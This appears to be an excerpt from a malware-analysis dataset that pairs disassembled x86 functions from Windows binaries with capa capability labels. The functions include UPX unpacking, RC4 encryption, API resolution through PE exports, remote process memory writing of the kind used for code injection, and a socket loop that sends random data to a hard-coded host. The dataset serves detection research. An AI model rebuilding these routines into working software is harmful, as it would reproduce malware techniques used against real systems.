joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402960
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x500
mov eax, dword [esp + 0x504]
push ebp
push esi
push edi
mov edi, dword [sym.imp.MSVCRT.dll__msize]
mov esi, ecx
push eax
call edi
mov ecx, dword [esp + 0x518]
mov dword [esp + 0x3c], eax
push ecx
call edi
mov edx, dword [esp + 0x520]
mov dword [esp + 0x48], eax
push edx
call edi
mov dword [esp + 0x40], eax
mov eax, dword [esi + 0xc]
imul eax, dword [esi + 8]
add esp, 0xc
xor ebp, ebp
lea ecx, [eax + eax*2]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 5
mov eax, edx
mov dword [esp + 0x30], ebp
shr eax, 0x1f
add edx, eax
mov dword [esp + 0x48], ebp
mov dword [esp + 0x5c], ebp
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x18], ebp
je 0x402de5
push ebx
mov dword [esp + 0x40], edx
mov eax, dword [esp + 0x3c]
mov dl, 1
mov bl, dl
cmp ebp, eax
mov byte [esp + 0x13], bl
mov byte [esp + 0x12], dl
jae 0x402cc9
jmp 0x4029fc
mov edi, dword [esp + 0x514]
xor eax, eax
lea ecx, [esp + 0x110]
add edi, ebp
xor ebx, ebx
add ecx, 4
mov bl, byte [edi + eax]
sub ebx, 0x80
inc eax
mov dword [esp + 0x14], ebx
cmp eax, 0x40
fild dword [esp + 0x14]
fstp dword [ecx - 4]
jb 0x402a0e
test dl, dl
jbe 0x402cc5
lea ecx, [esp + 0x110]
dec dl
add ebp, 0x40
push ecx
mov ecx, esi
mov byte [esp + 0x1f], dl
mov dword [esp + 0x2c], ebp
mov byte [esp + 0x28], 0
jmp loc.0041d000
mov bl, byte [esp + 0x13]
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x44]
cmp ecx, eax
jae 0x402d4a
mov edx, dword [esp + 0x518]
mov edi, dword [esp + 0x20]
xor eax, eax
lea ecx, [esp + 0x210]
add edi, edx
xor edx, edx
add ecx, 4
mov dl, byte [edi + eax]
sub edx, 0x80
inc eax
mov dword [esp + 0x14], edx
cmp eax, 0x40
fild dword [esp + 0x14]
fstp dword [ecx - 4]
jb 0x402ceb
test bl, bl
jbe 0x402d4a
mov edi, dword [esp + 0x20]
lea eax, [esp + 0x4c]
lea ecx, [esi + 0x192c]
push eax
lea edx, [esi + 0x12e4]
push ecx
lea eax, [esi + 0x119c]
push edx
lea ecx, [esp + 0x21c]
push eax
add edi, 0x40
push ecx
mov ecx, esi
dec bl
mov dword [esp + 0x34], edi
call fcn.00402e00
cmp edi, dword [esp + 0x44]
jb 0x402cd5
mov edx, dword [esp + 0x38]
mov eax, dword [esp + 0x1c]
cmp eax, edx
jae 0x402dd5
mov edx, dword [esp + 0x51c]
mov edi, dword [esp + 0x1c]
xor eax, eax
lea ecx, [esp + 0x410]
add edi, edx
xor edx, edx
add ecx, 4
mov dl, byte [edi + eax]
sub edx, 0x80
inc eax
mov dword [esp + 0x14], edx
cmp eax, 0x40
fild dword [esp + 0x14]
fstp dword [ecx - 4]
jb 0x402d6c
mov al, byte [esp + 0x12]
test al, al
jbe 0x402dd5
mov cl, al
mov edi, dword [esp + 0x1c]
dec cl
lea eax, [esp + 0x60]
mov byte [esp + 0x12], cl
lea ecx, [esi + 0x192c]
push eax
lea edx, [esi + 0x12e4]
push ecx
lea eax, [esi + 0x119c]
push edx
lea ecx, [esp + 0x41c]
push eax
add edi, 0x40
push ecx
mov ecx, esi
mov dword [esp + 0x30], edi
call fcn.00402e00
cmp edi, dword [esp + 0x38]
jb 0x402d56
mov eax, dword [esp + 0x40]
dec eax
mov dword [esp + 0x40], eax
jne 0x4029da
pop ebx
pop edi
pop esi
pop ebp
add esp, 0x500
ret 0xc
Function at 0x407430
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x5000]
push edi
jmp 0x40744a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x407451
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x407440
mov eax, 1
add ebx, ebx
jne 0x407463
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x407458
jne 0x407474
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407458
xor ecx, ecx
sub eax, 3
jb 0x407488
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4074fa
mov ebp, eax
add ebx, ebx
jne 0x407493
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4074a0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4074c4
inc ecx
add ebx, ebx
jne 0x4074b0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4074a5
jne 0x4074c1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4074a5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4074e4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4074d5
jmp 0x407446
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4074e4
add edi, ecx
jmp 0x407446
pop esi
mov edi, esi
mov ecx, 1
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x407502
cmp byte [edi], 1
jne 0x407502
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x407507
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x40757f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x7f64]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x7fa0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x407534
mov ecx, edi
jns 0x407563
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x7fa8]
or eax, eax
je 0x407579
mov dword [ebx], eax
add ebx, 4
jmp 0x407551
call dword [esi + 0x7fa4]
mov ebp, dword [esi + 0x7fac]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1d7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4075b3
sub esp, 0xffffff80
jmp 0x4010ec
Function at 0x410b90
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 4
mov esi, ecx
call main
pop ecx
xor ecx, ecx
mov dword [ebp - 4], eax
test eax, eax
je 0x410bac
mov dword [eax], ecx
jmp 0x410bae
mov eax, ecx
push ecx
push ecx
push esi
push 0x410c20
push ecx
push ecx
mov dword [esi + 0x10], eax
call dword [sym.imp.kernel32.dll_CreateThread]
mov ecx, dword [esi + 0x10]
pop esi
mov dword [ecx], eax
leave
ret
Function at 0x1ca1440
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
push ebx
push esi
push edi
xor edi, edi
xor eax, eax
mov dword [ebp + eax*4 - 0x400], eax
inc eax
cmp eax, 0x100
jb 0x1ca1450
mov ebx, 2
lea ecx, [ebp - 0x3fc]
lea ebx, [ebx]
xor edx, edx
lea eax, [ebx - 2]
div dword [ebp + 0x14]
mov eax, dword [ebp + 0xc]
add ecx, 0x10
movzx esi, byte [edx + eax]
add esi, dword [ecx - 0x14]
mov al, byte [ecx - 0x14]
add esi, edi
movzx eax, al
and esi, 0xff
mov edx, dword [ebp + esi*4 - 0x400]
mov dword [ecx - 0x14], edx
mov dword [ebp + esi*4 - 0x400], eax
xor edx, edx
lea eax, [ebx - 1]
div dword [ebp + 0x14]
mov eax, dword [ebp + 0xc]
movzx edi, byte [edx + eax]
add edi, dword [ecx - 0x10]
mov al, byte [ecx - 0x10]
add edi, esi
movzx eax, al
and edi, 0xff
mov edx, dword [ebp + edi*4 - 0x400]
mov dword [ecx - 0x10], edx
mov dword [ebp + edi*4 - 0x400], eax
xor edx, edx
mov eax, ebx
div dword [ebp + 0x14]
mov eax, dword [ebp + 0xc]
movzx esi, byte [edx + eax]
add esi, dword [ecx - 0xc]
mov al, byte [ecx - 0xc]
add esi, edi
movzx eax, al
and esi, 0xff
mov edx, dword [ebp + esi*4 - 0x400]
mov dword [ecx - 0xc], edx
mov dword [ebp + esi*4 - 0x400], eax
xor edx, edx
lea eax, [ebx + 1]
div dword [ebp + 0x14]
mov eax, dword [ebp + 0xc]
add ebx, 4
movzx edi, byte [edx + eax]
add edi, dword [ecx - 8]
mov al, byte [ecx - 8]
add edi, esi
and edi, 0xff
mov edx, dword [ebp + edi*4 - 0x400]
mov dword [ecx - 8], edx
movzx eax, al
lea edx, [ebx - 2]
mov dword [ebp + edi*4 - 0x400], eax
cmp edx, 0x100
jb 0x1ca1470
mov eax, dword [ebp + 8]
xor ecx, ecx
xor edx, edx
xor esi, esi
cmp dword [ebp + 0x10], ecx
jbe 0x1ca15b7
jmp 0x1ca1560
inc edx
and edx, 0xff
mov edi, dword [ebp + edx*4 - 0x400]
mov bl, byte [ebp + edx*4 - 0x400]
add edi, esi
and edi, 0xff
mov esi, edi
mov edi, dword [ebp + esi*4 - 0x400]
mov dword [ebp + edx*4 - 0x400], edi
movzx edi, bl
mov dword [ebp + esi*4 - 0x400], edi
mov ebx, dword [ebp + edx*4 - 0x400]
add ebx, edi
and ebx, 0xff
movzx ebx, byte [ebp + ebx*4 - 0x400]
xor byte [ecx + eax], bl
inc ecx
cmp ecx, dword [ebp + 0x10]
jb 0x1ca1560
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1ca1c50
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x1cb6f98]
push ebx
xor ebx, ebx
push esi
mov dword [ebp - 4], ebx
cmp eax, ebx
jne 0x1ca1c7e
push 0x1cb1410
push 0x1cb13f4
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call fcn.01ca3750
cmp eax, ebx
je 0x1ca1cd0
mov cl, byte [ebp + 0x14]
xor edx, edx
test cl, cl
setne dl
push ebx
movzx ecx, cl
push 0x80
add edx, 2
push edx
mov edx, dword [ebp + 8]
neg ecx
sbb ecx, ecx
push 0
and ecx, 0xc0000004
push 2
add ecx, 0x40000000
push ecx
push edx
call eax
mov esi, eax
cmp esi, 0xffffffff
je 0x1ca1cdf
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
push 0
lea eax, [ebp - 4]
push eax
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov bl, al
jmp 0x1ca1cd3
mov esi, dword [ebp - 4]
cmp esi, 0xffffffff
je 0x1ca1cdf
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1ca1cf0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
setne al
pop ebp
ret

Function at 0x1ca1e60
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
or eax, 0xffffffff
xor ecx, ecx
test edx, edx
jbe 0x1ca1e91
push esi
mov esi, dword [ebp + 8]
push edi
movzx edi, byte [ecx + esi]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + section..data]
inc ecx
cmp ecx, edx
jb 0x1ca1e74
pop edi
pop esi
not eax
pop ebp
ret
Function at 0x1ca2220
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5a8
push esi
xor esi, esi
push 0x3ff
lea eax, [ebp - 0x417]
push esi
push eax
mov dword [ebp - 4], esi
mov byte [ebp - 0x418], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x5a8]
push ecx
push 0x202
call sub.WS2_32.dll_WSAStartup
test eax, eax
jne 0x1ca2391
push str.i.root_servers.org
call fcn.01ca9300
add esp, 4
mov dword [ebp - 0x10], eax
cmp eax, esi
je 0x1ca2391
push edi
mov edx, 2
push 0x50
mov word [ebp - 0x14], dx
call sub.WS2_32.dll_htons
push 6
push 1
push 2
mov word [ebp - 0x12], ax
call sub.WS2_32.dll_socket
mov edi, eax
cmp edi, 0xffffffff
je 0x1ca2398
push 0x10
lea eax, [ebp - 0x14]
push eax
push edi
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
je 0x1ca2398
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
call ebx
push eax
call main
add esp, 4
mov edi, edi
call fcn.01ca3870
cdq
mov ecx, 0x1a
idiv ecx
inc esi
add dl, 0x61
cmp esi, 0x400
mov byte [ebp + esi - 0x419], dl
jl 0x1ca22d0
mov byte [ebp - 0x18], 0
call ebx
mov edx, eax
mov eax, 0x10624dd3
mul edx
mov esi, edx
shr esi, 6
add esi, 0xa
call ebx
mov ecx, eax
mov eax, 0x10624dd3
mul ecx
shr edx, 6
cmp edx, esi
jae 0x1ca2362
lea esp, [esp]
mov eax, dword [0x1cea29c]
push 0
push 0x400
test eax, eax
je 0x1ca233c
lea edx, [ebp - 0x418]
push edx
push edi
call eax
jmp 0x1ca2349
lea eax, [ebp - 0x418]
push eax
push edi
call sub.WS2_32.dll_send
test eax, eax
jle 0x1ca2350
add dword [ebp - 4], eax
call ebx
mov ecx, eax
mov eax, 0x10624dd3
mul ecx
shr edx, 6
cmp edx, esi
jb 0x1ca2320
push edi
call sub.WS2_32.dll_closesocket
mov eax, dword [ebp - 4]
cdq
and edx, 0x3ff
add eax, edx
mov ecx, eax
sar ecx, 0xa
mov eax, 0x66666667
imul ecx
sar edx, 2
pop ebx
mov eax, edx
shr eax, 0x1f
pop edi
add eax, edx
pop esi
mov esp, ebp
pop ebp
ret
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1ca2810
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
xor eax, eax
push 0x18e
push eax
lea ecx, [ebp - 0x18e]
push ecx
mov word [ebp - 0x190], ax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea edx, [ebp - 0x190]
push edx
push 0x202
call sub.WS2_32.dll_WSAStartup
test eax, eax
jne 0x1ca286b
cmp byte [ebp - 0x190], 2
jne 0x1ca286b
mov eax, dword [ebp - 0x190]
shr eax, 8
cmp al, 2
jne 0x1ca286b
mov eax, 1
mov esp, ebp
pop ebp
ret
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x1ca2880
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
xor edi, edi
push 8
mov dword [ebp - 4], edi
mov dword [ebp - 8], edi
call fcn.01ca2460
mov esi, eax
add esp, 4
cmp esi, edi
je 0x1ca29cf
push 4
call fcn.01ca2460
add esp, 4
mov dword [esi + 4], eax
cmp eax, edi
je 0x1ca29cf
mov edi, dword [ebp + 8]
push edi
call sub.WS2_32.dll_inet_addr
mov ebx, eax
cmp ebx, 0xffffffff
je 0x1ca2914
test ebx, ebx
je 0x1ca2914
push 4
call fcn.01ca2460
add esp, 4
mov dword [esi], eax
test eax, eax
je 0x1ca29cf
push 4
call fcn.01ca2460
mov ecx, dword [esi]
mov dword [ecx], eax
mov eax, dword [esi]
add esp, 4
cmp dword [eax], 0
je 0x1ca29cf
mov edx, dword [eax]
mov dword [edx], ebx
mov eax, dword [esi + 4]
mov dword [eax], 1
mov dword [ebp - 4], 1
jmp 0x1ca29cf
mov eax, dword [0x1cb6fa4]
push 0
test eax, eax
je 0x1ca292e
lea ecx, [ebp - 8]
push ecx
push 0
push 8
push 1
push edi
call eax
jmp 0x1ca293e
lea edx, [ebp - 8]
push edx
push 0
push 8
push 1
push edi
call sub.DNSAPI.dll_DnsQuery_A
test eax, eax
jne 0x1ca29cf
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 4]
push edi
push ecx
call sub.MSVCRT.dll__strcmpi
add esp, 8
test eax, eax
jne 0x1ca29cf
mov edi, dword [ebp - 8]
test edi, edi
je 0x1ca29e6
mov ebx, 1
cmp word [edi + 8], bx
jne 0x1ca29c0
mov edx, dword [esi + 4]
mov eax, dword [edx]
mov edx, dword [esi]
lea ecx, [eax*4 + 4]
push ecx
push edx
call fcn.01ca2490
add esp, 8
mov dword [esi], eax
test eax, eax
je 0x1ca29c8
push 4
call fcn.01ca2460
mov ecx, dword [esi + 4]
mov edx, dword [ecx]
mov ecx, dword [esi]
mov dword [ecx + edx*4], eax
mov edx, dword [esi + 4]
mov eax, dword [edx]
mov ecx, dword [esi]
lea eax, [ecx + eax*4]
add esp, 4
cmp dword [eax], 0
je 0x1ca29c8
mov edx, dword [eax]
mov eax, dword [edi + 0x18]
mov dword [edx], eax
mov eax, dword [esi + 4]
add dword [eax], ebx
mov dword [ebp - 4], ebx
mov edi, dword [edi]
test edi, edi
jne 0x1ca2965
jmp 0x1ca29cf
mov dword [ebp - 4], 0
mov eax, dword [ebp - 8]
test eax, eax
je 0x1ca29de
push 1
push eax
call sub.DNSAPI.dll_DnsFree
mov eax, dword [ebp - 4]
cmp eax, 1
je 0x1ca2a24
test esi, esi
je 0x1ca2a1a
mov ecx, dword [esi + 4]
xor edi, edi
cmp dword [ecx], edi
jbe 0x1ca2a09
mov edx, dword [esi]
mov eax, dword [edx + edi*4]
push eax
call fcn.01ca24a0
mov ecx, dword [esi + 4]
inc edi
add esp, 4
cmp edi, dword [ecx]
jb 0x1ca29f3
mov edx, dword [esi]
push edx
call fcn.01ca24a0
push esi
call fcn.01ca24a0
add esp, 8
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp + 0xc]
pop edi
mov dword [ecx], esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1ca2a30
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
xor esi, esi
push eax
xor edi, edi
mov dword [ebp - 8], esi
call sub.WS2_32.dll_htons
movzx ecx, ax
xor eax, eax
xor edx, edx
push 0x44
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], edi
mov word [ebp - 0x1c], dx
mov dword [ebp - 0x1a], eax
mov dword [ebp - 0x16], eax
mov dword [ebp - 0x12], eax
mov word [ebp - 0xe], ax
call fcn.01ca2460
mov ebx, eax
add esp, 4
cmp ebx, edi
je 0x1ca2b5e
push 6
push 1
push 2
mov dword [ebx], 0xffffffff
mov dword [ebx + 4], edi
call sub.WS2_32.dll_socket
mov dword [ebx], eax
cmp eax, 0xffffffff
jne 0x1ca2ab3
call sub.WS2_32.dll_WSAGetLastError
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
call fcn.01ca24a0
add esp, 4
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 4]
push eax
push ecx
call fcn.01ca2880
mov esi, dword [ebp - 4]
add esp, 8
cmp eax, 1
jne 0x1ca2b22
mov edx, dword [esi + 4]
cmp dword [edx], edi
jbe 0x1ca2b22
mov eax, 2
mov word [ebp - 0x1c], ax
mov ecx, dword [esi]
mov edx, dword [ecx + edi*4]
mov eax, dword [edx]
mov cx, word [ebp - 0xc]
push eax
mov dword [ebp - 0x18], eax
mov word [ebp - 0x1a], cx
call sub.WS2_32.dll_inet_ntoa
mov eax, dword [ebx]
push 0x10
lea edx, [ebp - 0x1c]
push edx
push eax
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
jne 0x1ca2b1b
push 0x5dc
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [esi + 4]
inc edi
cmp edi, dword [ecx]
jb 0x1ca2ad2
jmp 0x1ca2b22
mov dword [ebp - 8], 1
test esi, esi
je 0x1ca2b57
mov edx, dword [esi + 4]
xor edi, edi
cmp dword [edx], edi
jbe 0x1ca2b46
nop
mov eax, dword [esi]
mov ecx, dword [eax + edi*4]
push ecx
call fcn.01ca24a0
mov edx, dword [esi + 4]
inc edi
add esp, 4
cmp edi, dword [edx]
jb 0x1ca2b30
mov eax, dword [esi]
push eax
call fcn.01ca24a0
push esi
call fcn.01ca24a0
add esp, 8
mov esi, dword [ebp - 8]
test esi, esi
jne 0x1ca2b70
push ebx
call fcn.01ca24a0
add esp, 4
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp + 8]
pop edi
mov eax, esi
pop esi
mov dword [ecx], ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1ca2de0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0x10]
mov eax, dword [ebp + 8]
not eax
test ecx, ecx
je 0x1ca2e0f
mov edx, dword [ebp + 0xc]
push esi
movzx esi, byte [edx]
xor esi, eax
and esi, 0xff
shr eax, 8
xor eax, dword [esi*4 + 0x1cb7528]
dec ecx
inc edx
test ecx, ecx
jne 0x1ca2df3
pop esi
not eax
pop ebp
ret
Function at 0x1ca36b0
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, 0x5a4d
push ebx
push edi
cmp word [esi], ax
jne 0x1ca3732
mov eax, dword [esi + 0x3c]
add eax, esi
cmp dword [eax], 0x4550
jne 0x1ca3732
mov eax, dword [eax + 0x78]
mov ecx, dword [eax + esi + 0x1c]
mov edi, dword [eax + esi + 0x20]
add eax, esi
add ecx, esi
mov dword [ebp - 0xc], ecx
mov ecx, dword [eax + 0x24]
mov eax, dword [eax + 0x14]
add ecx, esi
add edi, esi
xor ebx, ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test eax, eax
jbe 0x1ca3732
mov eax, dword [edi]
mov ecx, dword [ebp + 8]
add eax, esi
mov edi, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x1ca3720
test dl, dl
je 0x1ca371c
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x1ca3720
add ecx, 2
add eax, 2
test dl, dl
jne 0x1ca3700
xor eax, eax
jmp 0x1ca3725
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x1ca373a
inc ebx
add edi, 4
cmp ebx, dword [ebp - 4]
jb 0x1ca36f7
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 8]
movzx edx, word [ecx + ebx*2]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + edx*4]
pop edi
add eax, esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1ca3b90
Capabilities:
Connect pipe
Create pipe

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, dword [ebp + 8]
test edi, edi
jne 0x1ca3ba0
xor eax, eax
pop edi
pop ebp
ret
mov eax, dword [ebp + 0xc]
cmp eax, 0x40
jle 0x1ca3bad
mov eax, 0x40
push ebx
xor ebx, ebx
push esi
mov dword [edi], eax
test eax, eax
jbe 0x1ca3c6c
lea eax, [edi + 0x244]
lea esi, [edi + 0x104]
mov dword [ebp + 8], eax
lea ebx, [ebx]
push 0
push 1
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x10], eax
mov dword [esi], eax
test eax, eax
je 0x1ca3c76
push 0
push 0
push 0x10000
push 0x10000
push 0xff
push 0
push 0x40000001
lea edx, [edi + 0x744]
push edx
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov dword [esi - 0x100], eax
cmp eax, 0xffffffff
je 0x1ca3c76
mov ecx, dword [ebp + 8]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
jne 0x1ca3c76
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
setne dl
inc dl
mov byte [ebx + edi + 0x204], dl
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x217
jne 0x1ca3c5c
mov eax, dword [esi]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
add dword [ebp + 8], 0x14
inc ebx
add esi, 4
cmp ebx, dword [edi]
jb 0x1ca3bd0
pop esi
pop ebx
mov eax, 1
pop edi
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop esi
pop ebx
xor eax, eax
pop edi
pop ebp
ret
Function at 0x1ca4100
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
push ebx
push esi
push edi
mov edi, dword [ecx + 0x3c]
movzx eax, word [edi + ecx + 0x14]
add edi, ecx
xor edx, edx
xor ebx, ebx
lea esi, [eax + edi + 0x18]
cmp dx, word [edi + 6]
jae 0x1ca415a
add esi, 0x10
test byte [esi + 0x14], 0x80
jne 0x1ca4131
mov eax, dword [esi - 8]
cmp eax, dword [esi]
jbe 0x1ca414e
mov eax, dword [esi]
mov edx, dword [esi - 8]
sub edx, eax
push edx
mov edx, dword [esi - 4]
add edx, eax
add edx, ecx
push 0
push edx
call fcn.01ca35f0
mov ecx, dword [ebp + 8]
add esp, 0xc
movzx eax, word [edi + 6]
inc ebx
add esi, 0x28
cmp ebx, eax
jl 0x1ca4124
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x1ca4160
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x1cd7a70]
push ebx
push esi
push edi
push eax
xor eax, eax
xor ebx, ebx
mov dword [ebp - 4], 0
call fcn.01ca4020
mov ecx, dword [ebp + 8]
add esp, 4
push 0x40
push 0x3000
push eax
push ebx
push ecx
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
mov dword [ebp - 8], esi
test esi, esi
je 0x1ca428f
mov edx, dword [0x1cd7a70]
push edx
lea ebx, [ebp - 4]
call fcn.01ca4020
mov ebx, dword [ebp - 4]
add esp, 4
test ebx, ebx
je 0x1ca4270
push ebx
call fcn.01ca4100
mov edi, dword [ebp + 0xc]
mov eax, ebx
sub eax, dword [0x1cd7a70]
add esp, 4
mov dword [eax + 0x1cd7a70], esi
test edi, edi
je 0x1ca420d
mov esi, dword [ebp + 0x10]
test esi, esi
je 0x1ca420a
mov edx, dword [esi + 4]
mov ecx, dword [esi + 8]
add edx, dword [0x1cd7a70]
mov eax, dword [esi]
push ecx
push edx
add eax, ebx
push eax
call fcn.01ca3640
dec edi
add esp, 0xc
add esi, 0xc
test edi, edi
jne 0x1ca41e3
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 0x14]
test edi, edi
je 0x1ca4241
mov esi, dword [ebp + 0x18]
test esi, esi
je 0x1ca423e
mov eax, dword [esi]
mov ecx, dword [esi + 8]
sub eax, dword [0x1cd7a70]
mov edx, dword [esi + 4]
push ecx
push edx
add eax, ebx
push eax
call fcn.01ca3640
dec edi
add esp, 0xc
add esi, 0xc
test edi, edi
jne 0x1ca4217
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x10]
push ecx
push edi
push ebx
push esi
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1ca4270
cmp edi, dword [ebp - 0x10]
jne 0x1ca4270
push ebx
call fcn.01ca37f0
add esp, 4
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 8]
push 0x8000
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test ebx, ebx
je 0x1ca428f
push ebx
call fcn.01ca37f0
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret